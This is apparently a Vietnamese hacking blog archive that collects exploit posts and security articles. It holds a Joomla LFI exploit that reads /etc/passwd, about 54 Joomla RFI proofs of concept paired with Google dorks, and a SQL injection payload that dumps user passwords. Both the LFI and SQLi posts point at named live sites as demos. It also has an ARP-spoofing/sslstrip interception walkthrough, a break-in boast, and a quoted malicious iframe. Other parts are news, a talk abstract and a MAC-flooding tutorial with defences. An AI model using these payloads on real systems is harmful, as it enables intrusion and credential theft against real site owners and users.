Lưu trữ

Archive for the ‘Kỹ Thuật Xâm Nhập’ Category

Joomla Component com_janews

####################################################################

.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]

.:. Team : Sec Attack Team

.:. Home : www.sec-attack.com/vb

.:. Script : Joomla Component com_janews

.:. Bug Type : Local File Inclusion [LFI]

.:. Dork : inurl:"com_janews"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_janews&controller=[LFI]

www.site.com/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

####################################################################

Hiện có rất nhiều web ở Việt Nam dùng com này

Demo:

http://www.cynosura.org/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

Đáng chú ý hơn nữa web www.smot.gov.vn đã bị chèn virus các bạn không nên vào


Admin các web có dùng com này nên update sửa lỗi

Chúng tôi không chịu trách nhiệm về các site đăng trên đầy và lỗi của com này


AlexBTP – Viet Matrix Revolutions


SSL Sniffing

SSL sniffing


E-mail: okan[at]deu.edu.tr
http://www.knyksl.com/
Basic Information


What is SSL?


SSL (Secure Socket Layer) protocol was firstly developed in the year
of 1994 with the aim of providing safe data transferring, by Netscape.
In 1996, in concur with being invented its 3.0 version, it turned out to
be a standard that all internet browsers (Microsoft Explorer, Netscape,
Navigator, etc.) identify. With the help of SSL, it was aimed that the
datas delivered by using HTTPS technology between Web Server and
Web Browser would protect against attackers. The transmission status
with the web sites running under the SSL security is represented with
the golden-colored lock in browsers. The identification process
between Server and Client is provided with a crypto system based on a
public-private key encryption.


What is the need for SSL?


Together with the internet that has become a must-have in today’s
world, the safety of the data on the line has also come into an
immensely importance. The confidance of the institutional or personal
private datas on the line is highly critical and vulnerable. It is
necessary to deliver the data accurately to the other side and not to be
followed by the others during the data transferring process. With the
aim of meeting these needs Secure Sockets Layer was developed.
Signed Certificates
For the web projects in which the safety is more important, the
certificates signed digitally are used. The certificate is actually a file
including some information about the set up. At the same time, it also
includes the public key of the public-private key couple of the
installation. The server certificate includes the information about the
corporation operating that server. The certificates are given out by the
corporations which have the authority for signed certificates
(Globalsign, thawte, etc.). It is connected to the web sites under the
SSL security with the https request. The server sends to the Client the
public key information. Client asks the corporation which signes the
certification the validity of the key. If it is valid, it approves to the
browser that it is connected to a secure web site. Server can see the
information which is encoded by the public key only with the private
key which is available in itself.
Attack Types and Tools
In the committed tests, Backtrack 3.0 Linux was used. In this
document, it was dealed with two attack types with the intention of
accessing the datas in the SSL traffic. Both were formed using the
technique known as MiTM (man in the middle).
Sniffing with MiTM is an effective attack type for the switched
networks. With ARP reply packets, the target ARP table is poisoned.
So attacker seizes an analysis chance for the target data.
Tools
✔ Backtrack 3.0 Live CD

http://www.remoteexploit.org/backtrack.html


✔ Arpspoof (MiTM)
✔ Sslstrip http://www.thoughtcrime.org/software/sslstrip/
✔ Webmitm
✔ Ssldump
✔ Iptables


The attacker who penetrates between server and client with the first
technique attains the data using ssldump software with the insecure
certificate that he approves himself.


# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT
# iptables -A FORWARD -j ACCEPT
# arpspoof -t <target> <gateway>
# webmitm -d
#./ssldump -n -d -k webmitm.crt | tee ssldump.log


In the second technique, the attacker who penetrates between server
and client, in brief, attains the data organizing https connection as to
run with the http technique. Sslstrip software is programmed with
Python programming language. Sslstrip default port number is 10000.
It runs similarly with Transparent Proxy logic.


# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j
REDIRECT –to-ports 10000
# ./sslstrip –w gelenveri


Links


http://www.blackhat.com/presentations/bh-dc-
09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf


http://forums.remote-exploit.org/tutorials-guides/3157-ssl-sniffingusing-
ssldump-webmitm-arpspoof.html

Joomla RFI Summary

In this paper I will show you ~50 Joomla’s RFI vulnerabilities ( D0rks & P0Cs )

And maybe this week, if I’m free I’ll make a php scanner 4 all these bugs 😉
if you wanted it contact me after +3 days (until I finished it).

0———————————————————————————
Google Dork:
NULL(empty)

P0C By Mr.aFiR:
NULL(empty)
1———————————————————————————
Google Dork:
inurl:”com_admin”

P0C By Mr.aFiR:
/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=shell
2———————————————————————————
Google Dork:
inurl:index.php?option=com_simpleboard

P0C By Mr.aFiR:
/components/com_simpleboard/file_upload.php?sbp=shell
3———————————————————————————
Google Dork:
inurl:”com_hashcash”

P0C By Mr.aFiR:
/components/com_hashcash/server.php?mosConfig_absolute_path=shell
4———————————————————————————
Google Dork:
inurl:”com_htmlarea3_xtd-c”

P0C By Mr.aFiR
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=shell
5———————————————————————————
Google Dork:
inurl:”com_sitemap”

P0C By Mr.aFiR
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=shell
6———————————————————————————
Google Dork:
inurl:”com_performs”

P0C By Mr.aFiR:
/components/com_performs/performs.php?mosConfig_absolute_path=shell
7———————————————————————————
Google Dork:
inurl:”com_forum”

P0C By Mr.aFiR:
/components/com_forum/download.php?phpbb_root_path=
8———————————————————————————
Google Dork:
inurl:”com_pccookbook”

P0C By Mr.aFiR:
/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=shell
9———————————————————————————
Google Dork:
inurl:index.php?option=com_extcalendar

P0C By Mr.aFiR:
/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=shell
10——————————————————————————–
Google Dork:
inurl:”minibb”

P0C By Mr.aFiR:
/components/minibb/index.php?absolute_path=shell
11——————————————————————————–
Google Dork:
inurl:”com_smf”

P0C By Mr.aFiR:
/components/com_smf/smf.php?mosConfig_absolute_path=
P0C2 By Mr.aFiR:
/modules/mod_calendar.php?absolute_path=shell
12——————————————————————————–
Google Dork:
inurl:”com_pollxt”

P0C By Mr.aFiR:
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell
13——————————————————————————–
Google Dork:
inurl:”com_loudmounth”

P0C By Mr.aFiR:
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell
14——————————————————————————–
Google Dork:
inurl:”com_videodb”

P0C By Mr.aFiR:
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shel l
15——————————————————————————–
Google Dork:
inurl:index.php?option=com_pcchess

P0C By Mr.aFiR:
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell
16——————————————————————————–
Google Dork:
inurl:”com_multibanners”

P0C By Mr.aFiR:
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=sh ell
17——————————————————————————–
Google Dork:
inurl:”com_a6mambohelpdesk”

P0C By Mr.aFiR:
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shel l
18——————————————————————————–
Google Dork:
inurl:”com_colophon”

P0C By Mr.aFiR:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell
19——————————————————————————–
Google Dork:
inurl:”com_mgm”

P0C By Mr.aFiR:
/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell
20——————————————————————————–
Google Dork:
inurl:”com_mambatstaff”

P0C By Mr.aFiR:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell
21——————————————————————————–
Google Dork:
inurl:”com_securityimages”

P0C By Mr.aFiR:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell

P0C2 By Mr.aFiR:
/components/com_securityimages/lang.php?mosConfig_absolute_path=shell
22——————————————————————————–
Google Dork:
inurl:”com_artlinks”

P0C By Mr.aFiR:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell
23——————————————————————————–
Google Dork:
inurl:”com_galleria”

P0C By Mr.aFiR:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell
24——————————————————————————–
Google Dork:
inurl:”com_akocomment”

P0C By Mr.aFiR:
/akocomments.php?mosConfig_absolute_path=shell
25——————————————————————————–
Google Dork:
inurl:”com_cropimage”

P0C By Mr.aFiR:
/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell
26——————————————————————————–
Google Dork:
inurl:”com_kochsuite”

P0C By Mr.aFiR:
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell
27——————————————————————————–
Google Dork:
inurl:”com_comprofiler”

P0C By Mr.aFiR:
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell
28——————————————————————————–
Google Dork:
inurl:”com_zoom”

P0C By Mr.aFiR:
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell

P0C2 By Mr.aFiR:
/components/com_zoom/includes/database.php?mosConfig_absolute_path=shell
29——————————————————————————–
Google Dork:
inurl:”com_serverstat”

P0C By Mr.aFiR:
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=she ll
30——————————————————————————–
Google Dork:
inurl:”com_fm”

P0C By Mr.aFiR:
/components/com_fm/fm.install.php?lm_absolute_path=shell
31——————————————————————————–
Google Dork:
inurl:com_mambelfish

P0C By Mr.aFiR:
/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell
32——————————————————————————–
Google Dork:
inurl:com_lmo

P0C By Mr.aFiR:
/components/com_lmo/lmo.php?mosConfig_absolute_path=shell
33——————————————————————————–
Google Dork:
inurl:com_linkdirectory

P0C By Mr.aFiR:
/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell
34——————————————————————————–
Google Dork:
inurl:com_mtree

P0C By Mr.aFiR:
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=shell
35——————————————————————————–
Google Dork:
inurl:com_jim

P0C By Mr.aFiR:
/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell
36——————————————————————————–
Google Dork:
inurl:com_webring

P0C By Mr.aFiR:
/administrator/components/com_webring/admin.webring.docs.php?component_dir=shell
37——————————————————————————–
Google Dork:
inurl:com_remository

P0C By Mr.aFiR:
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
38——————————————————————————–
Google Dork:
inurl:com_babackup

P0C By Mr.aFiR:
/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell
39——————————————————————————–
Google Dork:
inurl:com_lurm_constructor

P0C By Mr.aFiR:
/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell
40——————————————————————————–
Google Dork:
inurl:com_mambowiki

P0C By Mr.aFiR:
/components/com_mambowiki/ MamboLogin.php?IP=shell
41——————————————————————————–
Google Dork:
inurl:com_a6mambocredits

P0C By Mr.aFiR:
/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell
42——————————————————————————–
Google Dork:
inurl:com_phpshop

P0C By Mr.aFiR:
/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=s hell
43——————————————————————————–
Google Dork:
inurl:com_cpg

P0C By Mr.aFiR:
/components/com_cpg/cpg.php?mosConfig_absolute_path=shell
44——————————————————————————–
Google Dork:
inurl:com_moodle

P0C By Mr.aFiR:
/components/com_moodle/moodle.php?mosConfig_absolute_path=shell
45——————————————————————————–
Google Dork:
inurl:com_extended_registration

P0C By Mr.aFiR:
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=shell
46——————————————————————————–
Google Dork:
inurl:com_mospray

P0C By Mr.aFiR:
/components/com_mospray/scripts/admin.php?basedir=shell
47——————————————————————————–
Google Dork:
inurl:com_bayesiannaivefilter

P0C By Mr.aFiR:
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell
48——————————————————————————–
Google Dork:
inurl:com_uhp

P0C By Mr.aFiR:
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell
49——————————————————————————–
Google Dork:
inurl:com_peoplebook

P0C By Mr.aFiR:
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell
50——————————————————————————–
Google Dork:
inurl:com_mmp

P0C By Mr.aFiR:
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell
51——————————————————————————–
Google Dork:
inurl:com_reporter

P0C By Mr.aFiR:
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell
52——————————————————————————–
Google Dork:
inurl:com_madeira

P0C By Mr.aFiR:
/components/com_madeira/img.php?url=shell
53——————————————————————————–
Google Dork:
inurl:com_jd-wiki

P0C By Mr.aFiR:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell
54——————————————————————————–
Google Dork:
inurl:com_bsq_sitestats

P0C By Mr.aFiR:
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell

P0C2 By Mr.aFiR:
/com_bsq_sitestats/external/rssfeed.php?baseDir=shell

Không phải em . Ý bài viết này là gì ta ???

Cũng như bao ngày khác , sáng dậy login vào pc việc đầu tiên là check mail xem thử sếp có điều mình đi chiến trường nào không , đồng thời cũng xem mail mấy chiến hữu khác có kiện cáo , ý kiến gì không . Hì hì hì hì 30 mail choáng ,nhưng chưa té ghế

Tiếp theo làm mấy việc , sau đó cũng không bỏ thói quen 1 ly cafe + 1 điếu thuốc (cái này đang bỏ dần , bị bà xã dí quá ).

Một thói quen nữa là nào nào vào mấy báo điện tử xem thử nay có em nào show hàng , có em gái của ca sĩ , cầu thủ bóng đá nào đi mua sắm , dạo phố mà báo chí hàng ngày vẫn đăng không . . . Lạ nhỉ đến giờ này mà chưa có tin nào hi hi hi đang suy nghĩ thì


Viet Matrix Marine Corps
Vào xem thì thấy web đăng nội dung gì gì gì đó ý là web bảo mật không tốt , ku em nào đó  đăng bài viết cảnh báo (chết nha em)

Sau một hồi phân tích , chém gió thì quyết định
” Bà mẹ nó , có liên quan gì đến mình đâu =)) “
Nhưng cũng vì tò mò nên vào thử , ai đã từng xem phim Cá Kiếm thì biết mình vào bằng cách nào thôi .

Viet Matrix Marine Corps


Làm việc kiếm tiền mua sữa cho con thôi 😉


CEO – Viet Matrix Marine Corps

Gmail Hacking Tool – A New Way to Hack Gmail

Tháng Mười Một 11, 2009 2 bình luận

Bài  này được thuyết trình tại conference ở  Las Vegas. Các bạn quan tâm đến mục hacking có lẽ không quên cũng tại hội thảo này 1 phóng viên bị phát hiện thế nào

“Một nữ phóng viên đài NBC (Mỹ) đã bị biến thành trò cười sau khi cô giả vờ là chuyên gia lập trình hòng thâm nhập vào đại hội DefCon để ghi lại “những hành vi bất hợp pháp” của giới tin tặc nhưng sớm bị bại lộ.” [Vnexpress]

=====================

Gmail Hacking Tool – A New Way to Hack Gmail

(Sẽ đăng video và slide cho các bạn sau)

A new Gmail hacking tool that is capable of automatically stealing the Gmail IDs of non-encrypted sessions and breaking into Gmail accounts has been presented at the Defcon hackers’ conference in Las Vegas.

Last week Google introduced a new feature in Gmail that allows users to permanently switch on SSL and use it for every action involving Gmail, and not only, authentication. Users who did not turn it on now have a serious reason to do so as Mike Perry, the reverse engineer from San Francisco who developed this Gmail hacking tool is planning to release the tool in two weeks.

When you log in to Gmail account the website sends a cookie (a text file) containing your session ID to the browser. This file makes it possible for the website to know that you are authenticated and keep you logged in for two weeks, unless you manually click the sign out button. When you click sign out this cookie is cleared.Even though when you log in, Gmail forces the authentication over SSL (Secure Socket Layer), you are not secure because it reverts back to a regular unencrypted connection after the authentication is done.

According to Google this behavior was chosen because of low-bandwidth users, as SLL connections requires high bandwidth.The problem lies with the fact that every time you access anything on Gmail, even an image, your browser also sends your cookie to the website. This makes it possible for a hacker to sniff the traffic on the network to insert an image served from http://mail.google.com and force your browser to send the cookie file, thus getting your session ID. The new Gmail hacking tool is capable of doing this. Once this happens the hacker can log into the account without the need of a password. People checking their e-mail from public wireless hotspots are more likely to get hacked than the ones using secure wired networks.

Perry mentioned that he notified Google about this situation over a year ago and even though eventually it made this option available, he is not happy with the lack of information. “Google did not explain why using this new feature was so important” he said. He continued and explained the implications of not informing the users, “This gives people who routinely log in to Gmail beginning with an https:// session a false sense of security, because they think they’re secure but they’re really not.

“If you are logging in to your Gmail account from different locations and you would like to benefit from this option only when you are using unsecured networks, you can force it by manually typing https://mail.google.com before you log in. This will access the SSL version of Gmail and it will be persistent over your entire session and not only during authentication.

Nguồn DefCon

Cập nhật và chỉnh sửa  alexbtp

Black Hat 2008: The Zen of Xen – HITBSecConf2005 Malaysia : Joanna Rutkowska – Malware Detection on Windows

Tháng Mười Một 8, 2009 Bình luận về bài viết này

Black Hat 2008: The Zen of Xen

 

http://video.google.com.vn/videoplay?docid=1546524215434730686&hl=vi#

Presentation Title: Hide-And-Seek: Defining the Roadmap for Malware Detection on Windows Presentation Details: The presentation aims towards defining a detailed list of vital operating system parts as well as a methodology for malware detection. The list will start on such basic levels as actions needed for file system and registry integrity verification, go through user-mode memory validating (detecting additional processes, hooked DLLs, injected threads, etc…) and finally end on such advanced topics as defining vital kernel parts which can be altered by modern rootkit-based malware (with techniques like Raw IRP hooking, various DKOM based manipulations or VMM cheating) By no means will the presented list be complete, however, the author believes that, in contrast to what many other people may think, there is only a finite number of methods which can be used by malware to compromise a system and hopefully in the future (with the help of the community) the list will “stabilize” and become more complete. Such a reference roadmap/list, will help raise the level of awareness on what is still missing with regards to malware detection and will hopefully stimulate the creation of better detection tools, leaving less and less space for malware to survive. The presentation will be supported with live demos, in which some interesting malware will be shown as well as detection tools catching it (including some new tools from the author). Some of the topics will be touched briefly (like file system verification), while some other areas, like kernel-level integrity verification will be discussed very deeply (together with description of the latest advances in rootkit technology). At the end, the subject of implementation specific attacks against malware detectors will be briefly discussed.The presentation will focus on the Windows 2000/XP/2003 family of operating systems

TheDeadPit.com Tortures Web Surfers

Over the past several weeks, a multitude of sites have been injected with malicious iframes that point to exploit code (which leads to downloader trojans) located on the attacker-owned ‘thedeadpit.com’. The form is always the same:

iframe src=\”http://thedeadpit.com/?click=RANDOM\” width=1 height=1 style=\”visibility:hidden;position:absolute\

where random is a numeric identifier that differs with each site compromised.

The most recently discovered victim of thedeadpit.com iframe injection is the website of the Bangladesh Directorate of Primary Education, http://www.dpe.gov.bd. The Nigerian Tribune (www.tribune.com.ng) is also among those sites compromised in thedeadpit.com injection attacks.

The attack site delivers the malware intermittently, remaining dormant in between attacks. The trojan downloader delivered via the attacks modifies the Winlogon Shell = Explorer value as follows:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
Value: Shell = Explorer.exe <path to downloader>

By default, the value should read simply “Shell = Explorer.exe” with no additional file specificed.

As it’s name suggests, a downloader trojan downloads additional malware to the infected computer. Most of today’s malware consists of remotely configurable data theft trojans. Heartland Payment Systems is the poster child for what today’s malware is capable of doing.

Alexbtp – Anderson_neo – Tong hop tu internet

Bug com_surveymanager

Exploit:

index.php?option=com_surveymanager&task=editsurvey&stype=[SQL]
index.php?option=com_surveymanager&task=editsurvey&stype=
-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

Demo:
http://www.webcopro.com/index.php?option=com_surveymanager&task=editsurvey&stype=
-2+union+select+1,concat_ws%280x3a,username,password%29,3,4,5,6+from+jos_users--

Search: inurl:"com_surveymanager"
By kaMtiEz (kamzcrew@yahoo.com)

Layer 2 attack: MAC flooding

Trong loạt bài này, mình sẽ lần lượt giới thiệu với các bạn các kiểu tấn công vào lớp 2 OSI và các cách phòng chống.

Đầu tiên là kiểu tấn công vào bảng CAM (content address memory) của switch.

1. Địa chỉ MAC:
Địa chỉ MAC (Media Access Control) : là kiểu địa chỉ vật lí, đặc trưng cho một thiết bị hoặc một nhóm các thiết bị trong mạng LAN. Địa chỉ này được dùng để nhận diện các thiết bị giúp cho các gói tin lớp 2 có thể đến đúng đích.

Một địa chỉ MAC bao gồm 6 byte và thường được viết dưới dạng hexa, với các thiết bị của Cisco, địa chỉ này được viết dưới dạng số hexa ,ví dụ: 0000.0C12.FFFF là một địa chỉ MAC hợp lệ. Để đảm bảo địa chỉ MAC của một thiết bị là duy nhất, các nhà sản xuất cần phải ghi địa chỉ đó lên ROM của thiết bị phần cứng và định danh của nhà sản xuất sẽ được xác định bởi 3 byte đầu OUI (Organizationally Unique Identifier).

Địa chỉ MAC được phân làm 3 loại
Unicast: đây là loại địa chỉ dùng để đại diện cho một thiết bị duy nhất.
Multicast: đây là loại địa chỉ đại diện cho một nhóm các thiết bị trong mạng LAN. Địa chỉ được dùng trong trường hợp một ứng dụng có thể muốn trao đổi với một nhóm các thiết bị. Bằng cách gửi đi một bản tin có địa chỉ multicast; tất cả các thiết bị trong nhóm đều nhận và xử lí gói tin trong khi các thiết bị còn lại trong mạng sẽ bỏ qua. Giao thức IP cũng hỗ trợ truyền multicast. Khi một gói tin IP multicast được truyền qua một mạng LAN, địa chỉ MAC multicast tương ứng với địa chỉ IP sẽ là 0100.5exxx.xxxx.
Broadcast: địa chỉ này đại diện cho tất cả các thiết bị trong cùng một mạng LAN. Điều đó cũng có nghĩa là nếu một gói tin có địa chỉ MAC là FFFF.FFFF.FFFF được gửi đi thì tất cả các thiết bị trong mạng LAN đều phải thu nhận và xử lí.

2.Chức năng chuyển mạch của switch:
Việc đưa thiết bị chuyển mạch vào một mạng LAN có nhiều mục đích nhưng mục đích quan trong nhất là để chia một mạng LAN ra thành nhiều vùng khác nhau nhằm giảm thiểu việc xung đột gói tin khi có quá nhiều thiết bị được nối vào cùng một môi trường truyền dẫn. Các vùng được phân chia này được gọi là các collision domain.Chức năng chính của switch là vận chuyển các frame lớp 2 qua lại giữa các collision domain này. Các collision domain này còn được gọi là các đoạn mạng LAN (LAN segment).

Để có thể vận chuyển chính xác được gói tin đến đích, switch cần phải có một sơ đồ ánh xạ giữa địa chỉ MAC của các thiết bị vật lí gắn tương ứng với cổng nào của nó. Sơ

đồ này được lưu lại trong switch và được gọi là bảng CAM (Content Address Memory).

Quá trình vận chuyển gói tin qua switch có thể được mô tả như sau:
• Nếu địa chỉ MAC nguồn của gói tin chưa có trong bảng CAM; switch sẽ cập nhật với cổng tương ứng. Nếu địa chỉ MAC nguồn đã tồn tại trong bảng nhưng với một cổng khác, switch sẽ báo lỗi “MAC flapping” và huỷ gói tin.
• Nếu địa chỉ đích của gói tin là địa chỉ multicast hoặc địa chỉ broadcast hoặc là địa chỉ unicast nhưng ánh xạ của địa chỉ này không tồn tại trong bảng CAM trước đó thì gói tin sẽ được gửi ra tất cả các cổng của switch trừ cổng mà nó nhận được gói tin.
• Nếu địa chỉ đích của gói tin là địa chỉ unicast và ánh xạ của địa chỉ tồn tại trong bảng CAM đồng thời cổng mà nó nhận được gói tin khác với cổng mà gói tin cần được chuyển đi thì nó sẽ gửi gói tin đến chính xác cổng có trong bảng CAM.
• Các trường hợp còn lại, gói tin sẽ bị huỷ.

Ví dụ:

Hình 1.1: Chức năng chuyển mạch của switch

Trong ví dụ trên, khi host A gửi bản tin đến host B. Do switch chưa có địa chỉ MAC của B trong bảng CAM của mình nên switch sẽ gửi broadcast ra mọi cổng còn lại đồng thời sẽ lưu lại địa chỉ MAC của A vào bảng CAM. Sau khi host B nhận được bản tin từ A; B gửi lại tin cho A. Khi đó, switch đã có địa chỉ của A nên sẽ gửi unicast tới port 1 đồng thời cập nhật địa chỉ MAC của B vào bảng CAM.

Các thao tác đối với bảng CAM của một switch [1]:
Để xem nội dung bảng CAM của switch, dùng lệnh:
Switch# show mac address-table dynamic [address mac-address |
interface type mod/num |vlan vlan-id]
Lệnh này sẽ liệt kê tất cả các địa chỉ MAC mà switch học được. Nếu muốn
cụ thể hơn, có thể tìm được vị trí của host đã gắn vào switch bằng cách chỉ
ra địa chỉ của nó hoặc có thể tìm được những địa chỉ MAC đã được học từ
một giao diện nào đó.

Ví dụ: Host có địa chỉ MAC 0050.8b11.54da đã được gắn vào cổng
Fastethernet 0/1 của switch:

Hình 1.2: Nội dung bảng CAM của switch.


Xem kích thước bảng CAM của switch, dùng lệnh:
Switch# show mac address-table count
Xoá các ánh xạ trong bảng CAM, dùng lệnh:
Switch# clear adress-table dynamic [address mac-address |
interface type mod/num |vlan vlan-id]

3.Kiểu tấn công làm tràn bảng CAM (MAC flooding):
3.1.Phương thức tấn công:

Kiểu tấn công làm tràn bảng CAM dựa vào điểm yếu của thiết bị chuyển mạch: bảng CAM chỉ chứa được một số hữu hạn các ánh xạ (ví dụ như switch Catalysh 6000 có thể chứa được tối đa 128000 ánh xạ) và các ánh xạ này không phải tồn tại mãi mãi trong bảng CAM [4]. Sau một khoảng thời gian nào đó, thường là 300 s; nếu địa chỉ này không được dùng trong việc trao đổi thông tin thì nó sẽ bị gỡ bỏ khỏi bảng.

Khi bảng CAM được điền đầy, tất cả thông tin đến sẽ được gửi đến tất cả các cổng của nó trừ cổng nó nhận được. Lúc này chức năng của switch không khác gì chức năng của một hub.

Ví dụ:

Hình 1.3: Mô hình tấn công làm ngập bảng CAM

Trong ví dụ trên, host C của kẻ tấn công gửi đi liên tục hàng loạt các bản tin có địa chỉ MAC nguồn là địa chỉ giả mạo (host X và host Y). Switch sẽ cập nhật địa chỉ của các host giả mạo này vào bảng CAM. Kết quả là khi host A gửi tin đến cho host B; địa chỉ của B không tồn tại trong bảng nên gói tin được switch gửi ra các cổng của nó và bản tin A chỉ gửi riêng cho B cũng sẽ được chuyển đến C.

3.2.Cách phòng chống:
Nguyên lí chung của các phương pháp phòng chống là không để các gói tin có địa chỉ MAC lạ đi qua switch. Phương pháp phòng chống hiệu quả nhất là cấu hình port security trên switch [1]. Đây là một đặc trưng cấu hình cho phép điều khiển việc truy cập vào cổng switch thông qua địa chỉ MAC của thiết bị gắn vào.

Khi switch nhận được một gói tin chuyển đến, nó sẽ kiểm tra địa chỉ MAC nguồn của gói tin với danh sách các địa chỉ đã được cấu hình trước đó. Nếu hai địa chỉ này khác nhau thì tuỳ theo sự cấu hình của người quản trị mà switch sẽ xử lí gói tin đến với các mức độ khác nhau.

Các lệnh cấu hình port security:
• Switch(config-if)# switchport mode access
• Switch(config-if)# switchport port-security: cho phép cổng được hoạt động trong chế độ port-security.
• Switch(config-if)# switchport port-security maximum value (tuỳ chọn): câu lệnh cho phép cấu hình số địa chỉ MAC tối đa mà cổng có thể học tự động và cho phép các thiết bị này truyền dữ liệu qua. Mặc định thì cổng chỉ cho phép một địa chỉ MAC (một thiết bị) được gán vào và số địa chỉ có thể nằm trong khoảng từ 1 đến 1024.
• Switch(config-if)# switchport port-security mac-address mac_address (tuỳ chọn) : bên cạnh cách cấu hình cho phép switch học tự động địa chỉ MAC; có thể gán tĩnh một số địa chỉ MAC có thể truy cập vào một port. Nếu số lượng địa chỉ gán tĩnh mà nhỏ hơn số địa chỉ MAC switch có thể học tự động thì số địa chỉ MAC còn lại sẽ được học tự động.
• Switch(config-if)# switchport port-security violation {protect | restrict | shutdown} (tuỳ chọn) : Đây là các biện pháp mà người quản trị có thể tiến hành khi một gói tin đến không phù hợp với yêu cầu của port-security (khi có nhiều hơn số địa chỉ MAC tối đa được học hoặc khi gói tin đến có địa chỉ MAC khác so với các địa chỉ MAC đã được cấu hình tĩnh). Các biện pháp xử lí có thể là :
1. shutdown: cổng sẽ bị ngừng hoạt động; không nhận và chuyển gói tin.
2. restrict: cổng chỉ cho phép các gói tin có địa chỉ MAC hợp lệ đi qua; các gói tin vi phạm sẽ bị huỷ. Đồng thời số lượng các bản tin vi phạm sẽ được thống kê và báo cho người quản trị biết.
3. protect: cũng giống như trong trường hợp restrict, tuy nhiên việc vi phạm sẽ không được ghi lại.
Phương pháp này tuy có yêu cầu công việc của người quản trị tăng lên đôi chút tuy nhiên nó là phương pháp rất hiệu quả để khoá các gói tin không rõ nguồn gốc có ý định tấn công vào switch.

3.3.Thí nghiệm thực tế:
Sơ đồ thí nghiệm và cấu hình thiết bị:
Hai PC trong đó PC của kẻ tấn công, cài phần mềm giả mạo địa chỉ MAC và phần mềm bắt gói tin ethereal.
Một switch cisco serie 2950, hệ điều hành IOS 12.0.

Hình 1.4: Sơ đồ thí nghiệm MAC flooding.

Các bước tiến hành:

• Bước 1: kẻ tấn công dùng phần mềm macflood làm ngập bảng CAM của switch. Phần mềm này có thể làm tràn bảng CAM của switch trong vòng chưa đầy nửa giây. Cách sử dụng macflood:
macflood –i [interface] –n [npacks] -s[size]
trong đó:
-i: chỉ ra giao diện để gửi gói tin ra.
-n: số gói tin được gửi đi.
-s: kích thước gói tin (nằm trong khoảng từ 60 đến 1514 byte).

Hình 1.5: Minh hoạ việc sử dụng phần mềm macflood


Kết quả khi hiện bảng CAM của switch:

Hình 1.6:Nội dung bảng CAM của switch sau khi bị tấn công.

• Bước 2: mục đích của thí nghiệm này là để kiểm tra việc truyền tin giữa hai switch và máy còn lại có bị nghe trộm hay không. Để đơn giản cho việc kiểm tra; ta ping từ switch sang máy nạn nhân. Dùng phần mềm ethereal trên máy tấn công bắt gói tin ICMP. Kết quả là:

Hình 1.7: Nội dung gói tin ICMP bị nghe lén.


• Bước 3: cấu hình port security trên cổng 3 của switch; giới hạn số địa chỉ MAC tối đa đi qua là 3. Nếu như có địa chỉ MAC lạ đi qua; gói tin sẽ bị huỷ.
Câu lệnh cấu hình trên cổng của switch gắn với máy của kẻ tấn công:
Switch(config-if)# switchport mode access
Switch(config-if) #switchport port-security
Switch(config-if)# switchport port-security maximum 3
Switch(config-if)# switchport port-security violation protect

Hình 1.8: Switch được cấu hình port security

• Bước 4: Tiến hành tấn công macflood lần thứ hai. Lần này ta chỉ gửi đi 5 bản tin có địa chỉ MAC giả mạo:

Hình 1.9: Tấn công macflood lần hai


Bảng CAM của switch trong lần tấn công thứ hai :

